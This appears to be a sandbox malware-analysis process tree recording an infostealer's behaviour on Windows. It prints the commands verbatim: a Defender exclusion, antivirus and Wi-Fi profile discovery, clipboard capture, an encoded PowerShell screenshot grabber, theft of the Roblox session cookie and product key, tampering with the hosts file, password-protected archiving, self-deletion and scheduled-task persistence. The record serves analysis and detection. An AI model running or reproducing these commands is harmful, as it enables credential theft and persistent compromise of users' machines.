PID:5040

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ .scr'
7⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1896

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
6⤵
PID:1020

C:\Windows\system32\tasklist.exe
tasklist /FO LIST
7⤵
- Enumerates processes with tasklist
- Suspicious use of AdjustPrivilegeToken
PID:5096

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
6⤵
PID:2612

C:\Windows\system32\tasklist.exe
tasklist /FO LIST
7⤵
- Enumerates processes with tasklist
- Suspicious use of AdjustPrivilegeToken
PID:5704

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName"
6⤵
PID:5516

C:\Windows\System32\Wbem\WMIC.exe
WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName
7⤵
- Suspicious use of AdjustPrivilegeToken
PID:6640

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "powershell Get-Clipboard"
6⤵
- Clipboard Data
PID:4396

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell Get-Clipboard
7⤵
- Clipboard Data
- Suspicious behavior: EnumeratesProcesses
PID:6668

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
6⤵
PID:5588

C:\Windows\system32\tasklist.exe
tasklist /FO LIST
7⤵
- Enumerates processes with tasklist
PID:6676

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "tree /A /F"
6⤵
PID:5648

C:\Windows\system32\tree.com
tree /A /F
7⤵
PID:6864

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "netsh wlan show profile"
6⤵
- System Network Configuration Discovery: Wi-Fi Discovery
PID:4612

C:\Windows\system32\netsh.exe
netsh wlan show profile
7⤵
- Event Triggered Execution: Netsh Helper DLL
- System Network Configuration Discovery: Wi-Fi Discovery
PID:6904

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "systeminfo"
6⤵
PID:5168

C:\Windows\system32\systeminfo.exe
systeminfo
7⤵
- Gathers system information
PID:6996

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters /V DataBasePath"
6⤵
PID:6096

C:\Windows\system32\reg.exe
REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters /V DataBasePath
7⤵
PID:6840

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA="
6⤵
PID:5984

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA=
7⤵
- Suspicious behavior: EnumeratesProcesses
PID:6892

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\hr1u5m45\hr1u5m45.cmdline"
8⤵
PID:736

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES5407.tmp" "c:\Users\Admin\AppData\Local\Temp\hr1u5m45\CSCFCAF61994D744DF592AB73FA113EA9A7.TMP"
9⤵
PID:6832

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "tree /A /F"
6⤵
PID:7164

C:\Windows\system32\tree.com
tree /A /F
7⤵
PID:6288

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "attrib -r C:\Windows\System32\drivers\etc\hosts"
6⤵
PID:6168

C:\Windows\system32\attrib.exe
attrib -r C:\Windows\System32\drivers\etc\hosts
7⤵
- Drops file in Drivers directory
- Views/modifies file attributes
PID:6692

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "tree /A /F"
6⤵
PID:6428

C:\Windows\system32\tree.com
tree /A /F
7⤵
PID:6720

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "tree /A /F"
6⤵
PID:6728

C:\Windows\system32\tree.com
tree /A /F
7⤵
PID:1844

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "attrib +r C:\Windows\System32\drivers\etc\hosts"
6⤵
PID:6936

C:\Windows\system32\attrib.exe
attrib +r C:\Windows\System32\drivers\etc\hosts
7⤵
- Drops file in Drivers directory
- Views/modifies file attributes
PID:6600

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "tree /A /F"
6⤵
PID:1712

C:\Windows\system32\tree.com
tree /A /F
7⤵
PID:5516

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
6⤵
PID:5880

C:\Windows\system32\tasklist.exe
tasklist /FO LIST
7⤵
- Enumerates processes with tasklist
PID:6412

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "tree /A /F"
6⤵
PID:620

C:\Windows\system32\tree.com
tree /A /F
7⤵
PID:6164

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "taskkill /F /PID 5112"
6⤵
PID:6108

C:\Windows\system32\taskkill.exe
taskkill /F /PID 5112
7⤵
- Kills process with taskkill
PID:1712

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "taskkill /F /PID 2784"
6⤵
PID:5292

C:\Windows\system32\taskkill.exe
taskkill /F /PID 2784
7⤵
- Kills process with taskkill
PID:6904

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "taskkill /F /PID 5112"
6⤵
PID:5164

C:\Windows\system32\taskkill.exe
taskkill /F /PID 5112
7⤵
- Kills process with taskkill
PID:5140

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "taskkill /F /PID 2164"
6⤵
PID:6736

C:\Windows\system32\taskkill.exe
taskkill /F /PID 2164
7⤵
- Kills process with taskkill
PID:3412

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "taskkill /F /PID 2784"
6⤵
PID:5736

C:\Windows\system32\taskkill.exe
taskkill /F /PID 2784
7⤵
- Kills process with taskkill
PID:5912

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "taskkill /F /PID 1848"
6⤵
PID:5888

C:\Windows\system32\taskkill.exe
taskkill /F /PID 1848
7⤵
- Kills process with taskkill
PID:6012

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "taskkill /F /PID 2164"
6⤵
PID:7108

C:\Windows\system32\taskkill.exe
taskkill /F /PID 2164
7⤵
- Kills process with taskkill
PID:6956

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "taskkill /F /PID 2692"
6⤵
PID:5280

C:\Windows\system32\taskkill.exe
taskkill /F /PID 2692
7⤵
- Kills process with taskkill
PID:5988

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "taskkill /F /PID 1848"
6⤵
PID:5396

C:\Windows\system32\taskkill.exe
taskkill /F /PID 1848
7⤵
- Kills process with taskkill
PID:6832

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "taskkill /F /PID 4032"
6⤵
PID:6980

C:\Windows\system32\taskkill.exe
taskkill /F /PID 4032
7⤵
- Kills process with taskkill
PID:2224

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "taskkill /F /PID 2692"
6⤵
PID:1136

C:\Windows\system32\taskkill.exe
taskkill /F /PID 2692
7⤵
- Kills process with taskkill
PID:400

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "taskkill /F /PID 5072"
6⤵
PID:6504

C:\Windows\system32\taskkill.exe
taskkill /F /PID 5072
7⤵
- Kills process with taskkill
PID:6264

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "taskkill /F /PID 4032"
6⤵
PID:5492

C:\Windows\System32\Conhost.exe
\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
7⤵
PID:6640

C:\Windows\system32\taskkill.exe
taskkill /F /PID 4032
7⤵
- Kills process with taskkill
PID:7120

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "getmac"
6⤵
PID:6304

C:\Windows\system32\getmac.exe
getmac
7⤵
PID:5564

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "taskkill /F /PID 232"
6⤵
PID:4428

C:\Windows\system32\taskkill.exe
taskkill /F /PID 232
7⤵
- Kills process with taskkill
PID:6492

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "taskkill /F /PID 5072"
6⤵
PID:5356

C:\Windows\system32\taskkill.exe
taskkill /F /PID 5072
7⤵
- Kills process with taskkill
PID:6748

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "taskkill /F /PID 116"
6⤵
PID:6676

C:\Windows\system32\taskkill.exe
taskkill /F /PID 116
7⤵
- Kills process with taskkill
PID:6412

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "taskkill /F /PID 232"
6⤵
PID:5604

C:\Windows\system32\taskkill.exe
taskkill /F /PID 232
7⤵
- Kills process with taskkill
PID:4964

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "taskkill /F /PID 116"
6⤵
PID:5752

C:\Windows\System32\Conhost.exe
\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
7⤵
PID:1020

C:\Windows\system32\taskkill.exe
taskkill /F /PID 116
7⤵
- Kills process with taskkill
PID:5420

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"
6⤵
PID:5932

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
7⤵
- Command and Scripting Interpreter: PowerShell
PID:2544

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"
6⤵
PID:6760

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
7⤵
PID:7012

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\_MEI57482\rar.exe a -r -hp"h3x" "C:\Users\Admin\AppData\Local\Temp\zXZ4E.zip" *"
6⤵
PID:6868

C:\Users\Admin\AppData\Local\Temp\_MEI57482\rar.exe
C:\Users\Admin\AppData\Local\Temp\_MEI57482\rar.exe a -r -hp"h3x" "C:\Users\Admin\AppData\Local\Temp\zXZ4E.zip" *
7⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
PID:4192

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "wmic os get Caption"
6⤵
PID:4848

C:\Windows\System32\Wbem\WMIC.exe
wmic os get Caption
7⤵
PID:1600

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "wmic computersystem get totalphysicalmemory"
6⤵
PID:6420

C:\Windows\System32\Wbem\WMIC.exe
wmic computersystem get totalphysicalmemory
7⤵
PID:1672

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
6⤵
PID:6704

C:\Windows\System32\Conhost.exe
\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
7⤵
PID:5988

C:\Windows\System32\Wbem\WMIC.exe
wmic csproduct get uuid
7⤵
PID:5396

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER"
6⤵
PID:6168

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
7⤵
- Command and Scripting Interpreter: PowerShell
PID:6444

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"
6⤵
PID:3344

C:\Windows\System32\Wbem\WMIC.exe
wmic path win32_VideoController get name
7⤵
- Detects videocard installed
PID:2208

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault"
6⤵
PID:1724

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault
7⤵
PID:6500

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "ping localhost -n 3 > NUL && del /A H /F "C:\Users\Admin\AppData\Roaming\Windows\Defender\MpWinDefenderService.exe""
6⤵
- System Network Configuration Discovery: Internet Connection Discovery
PID:6064

C:\Windows\system32\PING.EXE
ping localhost -n 3
7⤵
- System Network Configuration Discovery: Internet Connection Discovery
- Runs ping.exe
PID:2260

C:\Users\Admin\AppData\Roaming\Windows\Defender\MpDefenderCoreService.exe
"C:\Users\Admin\AppData\Roaming\Windows\Defender\MpDefenderCoreService.exe"
4⤵
- Checks computer location settings
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Modifies registry class
- Suspicious use of SetWindowsHookEx
PID:5312

C:\Windows\SysWOW64\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\agentComponentFontNet\bxoJGLIQD6QziGsZBKG.vbe"
5⤵
- Checks computer location settings
- System Location Discovery: System Language Discovery
PID:5568

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\agentComponentFontNet\ijkdLO.bat" "
6⤵
- System Location Discovery: System Language Discovery
PID:6404

C:\agentComponentFontNet\MsHyperPort.exe
"C:\agentComponentFontNet\MsHyperPort.exe"
7⤵
- Executes dropped EXE
PID:6508

C:\Users\Admin\AppData\Roaming\Windows\Defender\MpCmdRun.exe
"C:\Users\Admin\AppData\Roaming\Windows\Defender\MpCmdRun.exe"
4⤵
- Checks computer location settings
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Modifies registry class
- Suspicious use of SetWindowsHookEx
PID:5912

C:\Windows\SysWOW64\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\chainReviewdhcp\zwrFyO.vbe"
5⤵
- Checks computer location settings
- System Location Discovery: System Language Discovery
PID:5680

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\chainReviewdhcp\FBfKzmFJ0gnf1.bat" "
6⤵
- System Location Discovery: System Language Discovery
PID:5524

C:\Users\Admin\AppData\Roaming\chainReviewdhcp\containerRuntime.exe
"C:\Users\Admin\AppData\Roaming\chainReviewdhcp\containerRuntime.exe"
7⤵
- Executes dropped EXE
PID:6884

C:\Windows\SYSTEM32\cmd.exe
cmd.exe /c attrib "+h " "+s " C:\Users\Admin\AppData\Roaming\WinSFXConnectDevicesPlatform
3⤵
PID:6076

C:\Windows\system32\attrib.exe
attrib "+h " "+s " C:\Users\Admin\AppData\Roaming\WinSFXConnectDevicesPlatform
4⤵
- Sets file to hidden
- Views/modifies file attributes
PID:5648

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "RuntimeBrokerR" /sc MINUTE /mo 8 /tr "'C:\Program Files\Windows Portable Devices\RuntimeBroker.exe'" /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:6740

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "RuntimeBroker" /sc ONLOGON /tr "'C:\Program Files\Windows Portable Devices\RuntimeBroker.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
